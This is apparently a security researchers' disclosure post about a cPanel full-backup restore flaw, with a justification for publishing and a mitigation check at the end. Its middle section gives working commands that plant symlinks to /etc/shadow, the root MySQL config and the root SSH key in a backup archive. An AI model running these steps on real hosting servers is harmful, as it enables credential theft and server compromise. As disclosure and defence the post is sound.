cPanel Backup Vulnerability – Discussion

I’m sure some of you are wondering why we are still going through with this release despite cPanel issuing an official statement regarding their insecure handling of archives.

Well, it’s our opinion that we shouldn’t have to resort to WHT in the first place to bring attention to a serious security flaw. Our goal has always been to help make the hosting community safer and in this case we feel that push came to shove and without releasing the proof of concept, there really is no motivation for cPanel to expedite a proper workaround. A statement is nice and all but it’s a far cry from an actual fix for what they deemed to be a “minor” flaw.


People have to understand that this isn’t our first run in with cPanel regarding security vulnerabilities going unpatched. Steven reported a serious MySQL flaw over a year ago and it remained unpatched for a long time before being silently fixed in some random build. At that time, cPanel had the same response: Do not restore from random MySQL backups or inspect each one. That was not a valid answer back then and it is not a valid answer today! The notion that providers should inspect every single archive they are restoring is ludicrous and an easy way out.

There are two direct competitors to cPanel that suffer from similar flaws and both of those companies have acted responsibly in terms of identifying the seriousness of these vulnerabilities and working on a proper fix. Unlike cPanel, they immediately accepted fault with their software and stopped what they were doing to focus on fixing it. Why is it that cPanel can’t take the same stance? Do they not care as much about their customers as other control panel companies? At what point is a serious security flaw no longer a high priority issue? These are questions we have been asking for a long time with cPanel.

Unfortunately, there are some people who agree with cPanel’s assessment that this is a minor flaw. We want to make this very clear to everyone else: This is a real functioning exploit that anyone can re-create and lead to a compromise of any cPanel server should the malicious archive be restored. Unless you feel that having the ability to read any file on the server, including the root MySQL password or obtain private SSH keys is something minor… then we urge you to continue to press cPanel for a proper workaround.

To the majority that support us, thank you. We have the security of the hosting community in mind and any release such as this is done with a lot of deep thought and discussion. There will be many more advisories coming from us in the weeks ahead, a lot of scary stuff out there but you can rest a little easier knowing that we’re doing our best to find vulnerabilities before malicious users do.

Here are the steps to create a malicious cPanel archive that when restored will allow you to view /etc/shadow, the root MySQL password in plain-text and the default root SSH private key. For demonstration purposes, we will be using as our website and have already setup three sub domains:

The sub domains are necessary as this attack revolves around the ability to use symlinks pointing to existing domain log files that when restored will then be converted to the actual file.

1. Log into your cPanel account and go to Backups and then Generate a Full Website Backup.

2. If you have SSH access on the same server you can log in, otherwise download the original archive to your computer and upload to another server where you do have SSH access.

3. Prepare the archive:

tar -xvf backup*.tar.gz
rm backup*.tar.gz
mv backup* cpmove-attack
cd cpmove-attack/logs

4. Prepare the malicious symlinks:

ln -s /etc/shadow
ln -s /root/.my.cnf
ln -s /root/.ssh/id_dsa

5. Repackage the archive:

cd ../../
tar -zcf cpmove-attack.tar.gz cpmove-attack

At this point the malicious archive has been built and you can upload it to the target server and then restore it via WHM using the Restore a Full Backup/cpmove File feature. Another option would be to restore it from the command line:

/scripts/restorepkg –force cpmove-attack.tar.gz

Once the archive has been restored on the target server, log into cPanel as the user and then go back to Backups and then Generate a Full Website Backup. After the new backup has been generated, download it to your computer and extract the contents. There will be a logs directory located under the archive name containing the target files. Simply open them with a text editor and there you go.

I have also attached a pre-built malicious archive that will do exactly as the written instructions above will do. Simply restore it via WHM and then log into cPanel to generate a new full backup and then download to view the target files. The username for cPanel is attack and the password is cpanelfail :)

To hosting providers who would like to help mitigate the risks of the above vulnerability, what we suggest for the time being is to run the following command against all archives that you are about to restore to check for the presence of a possible symlink attack:

tar -ztvf cpmove-attack.tar.gz | grep ‘ -> ‘ |egrep -v “(homedir/public_html|homedir/www)”

If the archive is fine you will not see anything. However, if there is a possible symlink attack present than the output will look like this:

root@server [~]# tar -ztvf cpmove-attack.tar.gz | grep ‘ -> ‘ |grep -v public_html
lrwxrwxrwx attack/attack     0 2013-05-22 15:32 cpmove-attack/logs/ -> /root/.my.cnf
lrwxrwxrwx attack/attack     0 2013-05-22 15:32 cpmove-attack/logs/ -> /etc/shadow
lrwxrwxrwx attack/attack     0 2013-05-22 15:32 cpmove-attack/logs/ -> /root/.ssh/id_dsa
root@server [~]#

Should you see results like that, you are urged to not restore the backup under any circumstances and presume that the user is attempting to compromise your security. For now, this is our best advice but we are working on a better (automated) solution that can be worked into the existing cPanel restore feature. Stay tuned for details, we hope to have something out this week.